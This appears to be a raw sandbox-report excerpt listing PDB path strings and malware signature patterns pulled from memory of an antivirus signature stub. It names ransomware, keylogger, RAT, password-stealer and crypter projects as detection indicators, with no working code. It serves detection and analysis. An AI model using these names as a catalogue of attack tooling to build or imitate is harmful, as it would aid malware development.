        Source: Binary string: \Black Coding\RAT+BOT\WebServer 2.0\src\Release\WebServer.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: AdFind\Release\AdFind.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: d:\young\swprojects\tdxin\bin\amd64\rtdxftex_amd64.pdb source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmp
        Source: Binary string: S*\\server\\V.*\\Release\\PhantomNet.*\.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \PCHunter64.pdb source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: Release\toolbar_setup.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: \x64\Release\Narrator.pdb source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: rasautou.pdb source: MpSigStub.exe, 00000023.00000003.18290582002.0000015B1BF65000.00000004.00000001.sdmp
        Source: Binary string: \obj\Release\PersistenceModule.pdb source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp
        Source: Binary string: ?ExtractedBundle\RTM_ImageModRec_1.1.5.0_x64\RTM_ImageModRec.pdbac source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: ?E:\hhu\TeamViewer_13.bjbj\BuildTarget\Release2017\tv_w32dll.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: \i386\lanmandrv.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: c:\divide\broad\Hole\DoThird.pdb source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp
        Source: Binary string: \Release\corsar.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: e:\updatecheck\UpdateCheck\release\UpdateCheck.pdb source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp
        Source: Binary string: XBundlerTlsHelper.pdb source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmp
        Source: Binary string: UqxIkBeNYhKR.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: e:\src\fcrypt\Release\S\s_high.pdb source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp
        Source: Binary string: 9D:\BuildScript.NET\c2patchdx11\pc\Build\Bin32\Crysis2.pdb source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp
        Source: Binary string: BugTrap.pdb] source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp
        Source: Binary string: e:\builddata\Install\source\Min_Loader-BuildAndDeploy\Release\Loader_Resized.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: tdc.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: obj\Release\FlashPlayerApp.pdb source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmp
        Source: Binary string: mpg2splt.pdb source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp
        Source: Binary string: dxtrans.pdb source: MpSigStub.exe, 00000023.00000003.18283012261.0000015B1BB87000.00000004.00000001.sdmp
        Source: Binary string: c:\supply\trouble\Classwho.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: \Microsoft Windows Search.pdb source: MpSigStub.exe, 00000023.00000003.18299991338.0000015B1C3DD000.00000004.00000001.sdmp
        Source: Binary string: KF.+:\\Projects\\C#\\Sayad\\Source\\Client\\bin\\x86\\Debug\\Client.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: termsrv.pdb source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: AntiMalware_Pro.pdb source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp
        Source: Binary string: fc.pdb0 source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmp
        Source: Binary string: \Gleaned\purecall\win32p6.pdb source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp
        Source: Binary string: Slb.EP.Shell.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: 4\ValhallaCrypter\ValhallaStub\Debug\ValhallaStub.pdb source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp
        Source: Binary string: EFRE65.pdb source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp
        Source: Binary string: lIFdrGkmBePss.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: C>s:\\dEVELOPMdNT\\dC\+\+dCdyptordEvoldtiod_dld\\release\\m.pdb source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp
        Source: Binary string: CryARr.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: !#HSTR:PossiblyClean:magottei.pdb.A source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: FreeDownloadmanager\obj\x86\Debug\FreeDownloadManager.pdb source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
        Source: Binary string: boteg.pdbxL source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: KSLDriver.pdbGCTL source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: zYAamTGB2rfW!Cp+aR.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: D:\program z visuala\keylogger\Release\keylogger.pdb source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp
        Source: Binary string: \GetWinPsw.pdb source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmp
        Source: Binary string: \\WOO\\HT\\HT Server\\.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: \bin\winfdmscheme.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: RegAsm.pdb source: tKZVPq.exe
        Source: Binary string: SAVService.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: zC:\Users\EchoHackCmd\source\repos\Minecraft_DLL_Injector\Minecraft_DLL_Injector\obj\x64\Release\Minecraft_DLL_Injector.pdb source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp
        Source: Binary string: 7laIR+|.XJ5aA0aa.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: wscript.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: wevtutil.pdb source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp
        Source: Binary string: \isn.pdb source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp
        Source: Binary string: C:\\Users\\Lucca\\AppData\\Local\\Temp\\.*\.pdb source: MpSigStub.exe, 00000023.00000003.18307074601.0000015B1AA4C000.00000004.00000001.sdmp
        Source: Binary string: \Ransomware2.0.pdb source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: ToolbarCore\toolbar\ie\src\toolbar\wrapper\Release\externalwrapper.pdbx source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmp
        Source: Binary string: C:\\Users\\john\\Documents\\Visual Studio 2008\\Projects\\EncryptFile.*\\.*\\EncryptFile.exe.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: \DownloaderMain\DownloaderDll.pdb source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmp
        Source: Binary string: \rANSOM\rANSOM\obj\Sanyasteakler\rANSOM.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: \Visual Studio 2010\Projects\installer4\installer\obj\x86\Release\installer.pdbxx source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: megasync.pdb source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: \\wininet_fr_20200212\\.+\\?dlln\.pdb source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp
        Source: Binary string: msoert2.pdb3 source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: csgoInjector.pdb source: MpSigStub.exe, 00000023.00000003.18351150877.0000015B1B40C000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: \output\MinSizeRel\updrem.pdb] source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: vga256.pdb source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmp
        Source: Binary string: kernel32.pdb source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: x:\Dev_CPP\Work\VS_KnzStr_Adware\Release\VS_Work1.pdbx source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmp
        Source: Binary string: \\WOO\\HT\\.+Server.+\.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: acpi.pdbN source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: Fwizzlabs\source\repos\ConsoleMap\ConsoleMap\obj\Release\FancHuible.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\ncpa\objfre\i386\ncpa.pdb0 source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: m:\VP\QM\trunk\output\Recorder.pdb source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmp
        Source: Binary string: stscast.pdb source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp
        Source: Binary string: winscard.pdb source: MpSigStub.exe, 00000023.00000003.18319810399.0000015B1BE00000.00000004.00000001.sdmp
        Source: Binary string: bin\Release\LiveUpdateWPP.pdbxd source: MpSigStub.exe, 00000023.00000003.18301552816.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: ^shell\BATLE_SOURCE\SampleService_run_shellcode_from-memory10-02-2016\Release\SampleService.pdb source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp
        Source: Binary string: \Visual Studio 2010\Projects\installer4\installer\obj\x86\Release\installer.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: \InstallGoogleToolBar\InstallGoogleToolBar\obj\Debug\InstallGoogleToolBar.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: \Release\shellcode.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: \ProcExpDriver.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: \Current\wear.pdb source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp
        Source: Binary string: PCSUQuickScan.pdb source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp
        Source: Binary string: hWEHW#@HJERKJERJER^$.Pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: e:\caoe.PDBa source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: \yacdl\Release\yacdl.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: Krypton\source\repos\UAC\UAC\obj\Release\UAC.pdb source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp
        Source: Binary string: mpengine.pdb source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmp
        Source: Binary string: XrfZPp2C.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: UsoCoreWorker.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: Z:\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy\(Winlogon_Shell\)\\.*.pdb source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp
        Source: Binary string: _sa\bin\Release\ClientSAHook.pdb source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmp
        Source: Binary string: w:\work\vcprj\prj\downloader\Release\injdldr.pdb source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmp
        Source: Binary string: c:\To\In\All\With\Within\Value.pdb source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp
        Source: Binary string: security.pdb source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\w32tm\objfre\i386\w32tm.pdb0 source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: \\MoonRat_Develop\\.+\\obj\\Release\\.+\.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \bin\Release.Minimal\officer.pdb source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmp
        Source: Binary string: C:\src\similar\clients\our\new_bundler\nsis_plugins\plugins\safed.pdb source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmp
        Source: Binary string: \InstallerMainV6_Yrrehs\Release\Main.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: adptif.pdb3 source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp
        Source: Binary string: LiuLiangBao\Release\LiuLiangBao.pdb source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmp
        Source: Binary string: \Conduit\RnD\Client\IE\Dev\6.16\6.16.1\Release\hk64tbedrs.pdb source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp
        Source: Binary string: D:\yo\chaos\Release\chaos.pdb source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp
        Source: Binary string: nafde.pdb source: MpSigStub.exe, 00000023.00000003.18301552816.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: .+\\WormWin32 Poenon.+\\.+.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: autofmt.pdb source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
        Source: Binary string: PoolMonPlugin.pdb source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmp
        Source: Binary string: TuneUpUtilitiesApp32.pdb source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmp
        Source: Binary string: d:\pavbld\amcore\Signature\Source\sigutils\vdlls\Microsoft.NET\VFramework\mscorlib\mscorlib.pdb source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp
        Source: Binary string: sfc.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: \Projects\FlashPlayerPlugin\FlashPlayerPlugin\obj\Release\FlashPlayerPlugin.pdb source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmp
        Source: Binary string: Uc:\Users\Main\Desktop\PackagingModule\PackagingModule\obj\Release\PackagingModule.pdb] source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp
        Source: Binary string: AWInstaller.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: HookPasswordReset.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: padcryptUninstaller\obj\Debug\padcryptUninstaller.pdb source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp
        Source: Binary string: e:\mpengine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Xml\System.Xml.pdb source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmp
        Source: Binary string: PassView.pdb source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmp
        Source: Binary string: Ransom:MSIL/Cryptolocker.PDB!MTB source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp
        Source: Binary string: tdc.pdb3 source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: msoert2.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: Tokenvator.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: I \\WOO\\HT\\AD_Attacker\\.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: D:\DevPatch\_FINAL\Bin\MapleStory.pdbx source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: \iSafe\trunk\bin\iSafeSvc2.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\finger\objfre\i386\finger.pdb source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp
        Source: Binary string: nanamnana\obj\Debug\nanamnana.pdbx source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp
        Source: Binary string: dfsfgjfgdes.pdb source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp
        Source: Binary string: L6\\spam\\export_email_outlook\\cpp\\.*\\export..x\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: Qc:\users\mz\documents\visual studio 2013\Projects\Shellcode\Release\Shellcode.pdb] source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: \Release\initialexe\torch.exe.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: \Akl\kh\Release\kh.pdb source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmp
        Source: Binary string: d:\workspace\ebclient\dmsetup\dmsched2\Release\dmsched2.pdbx source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmp
        Source: Binary string: \ExtractedBundle\RTM_ImageModRec_1.1.5.0_x64\RTM_ImageModRec.pdb source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp
        Source: Binary string: \\spam\\export_email_outlook\\cpp\\.*\\export..x\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: (d:\p\loser\a\a\objfre_wxp_x86\i386\A.pdb source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp
        Source: Binary string: -\BetterInstaller\Release\BetterInstaller.pdb source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: dxva2.pdb3 source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp
        Source: Binary string: D:\code\ccminer\Release\x64\ccminer.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: obj\Debug\WinCalendar.pdb source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: D:\tortoiseSVN\nsc5\bin\Release\nssock2.pdbd source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp
        Source: Binary string: Qc:\users\mz\documents\visual studio 2013\Projects\Shellcode\Release\Shellcode.pdb source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: subst.pdb source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: \BaseFlash.pdb source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmp
        Source: Binary string: schtasks.pdbd source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp
        Source: Binary string: Win32\Release\Sdrsrv.pdb source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp
        Source: Binary string: Cryptor_noVSSnoPers.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \Release\SSEngine.pdb source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp
        Source: Binary string: C:\mainProduct(old)\x86_bild_cryptor\shell_gen\Release\data_protect2.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86chk\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\lodctr\objchk\i386\lodctr.pdb source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp
        Source: Binary string: Archer_Add_Packet\Release\Packet.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: \tcrypt\Release\s_low.pdbx source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp
        Source: Binary string: \R980\Release\R980.pdb source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp
        Source: Binary string: P'Deamon-dll.*\\Release\\Deamon-dll\.pdb source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp
        Source: Binary string: M(\\qbot_debugger\\.+\\qbot_debugger\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: KSLD.pdbGCTL source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: freefilesync_x64.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: \T+M\Result\DocPrint.pdb] source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp
        Source: Binary string: \13930308\Bot_70_FIX HEADER_FIX_LONGURL 73_StableAndNewProtocol - login all\Release\Bot.pdb source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp
        Source: Binary string: \Release\mailermodule199.pdb source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp
        Source: Binary string: P)E:\\Production\\Tool-Developing\\.+\.pdb source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp
        Source: Binary string: d:\74\55\Child\Require\bank\Bear\rather\66\Boy\front\special\straight\wood\1\guide.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmp
        Source: Binary string: KSLD.pdb source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: \wyvernlocker.pdb source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp
        Source: Binary string: \SecurityService\SecurityService\obj\Release\WindowsSecurityService.pdb source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: cryptdll.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: 2gerGW@4herhw*9283y4huWO.pdb] source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: D:\Projekty\EvulSoft\TibiSavePass\Programy\Stub VISUAL\Release\Stub VISUAL.pdb source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp
        Source: Binary string: !#HSTR:Win32/sfxrar.pdb.A source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: .+:\\.+\\.*Pedro\\.*PH_Secret_Application.*\\PH_Secret_Application.*\\.+\\Release\\.*.pdb source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: !6zyA6@267=HPS.C|dMqd4-qaN|yjm.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: eTiq_WaEN__y9F89zLukjmM.pdbx source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: pid.pdb3 source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: @.pdb source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: HSTR:Win32/sfxrar.pdb.A source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp
        Source: Binary string: vssadmin.pdb source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: ciTfDCxMQU0a5/DDEyGwn8ta.z4.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: r:\rel\iMS-srvreg56.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
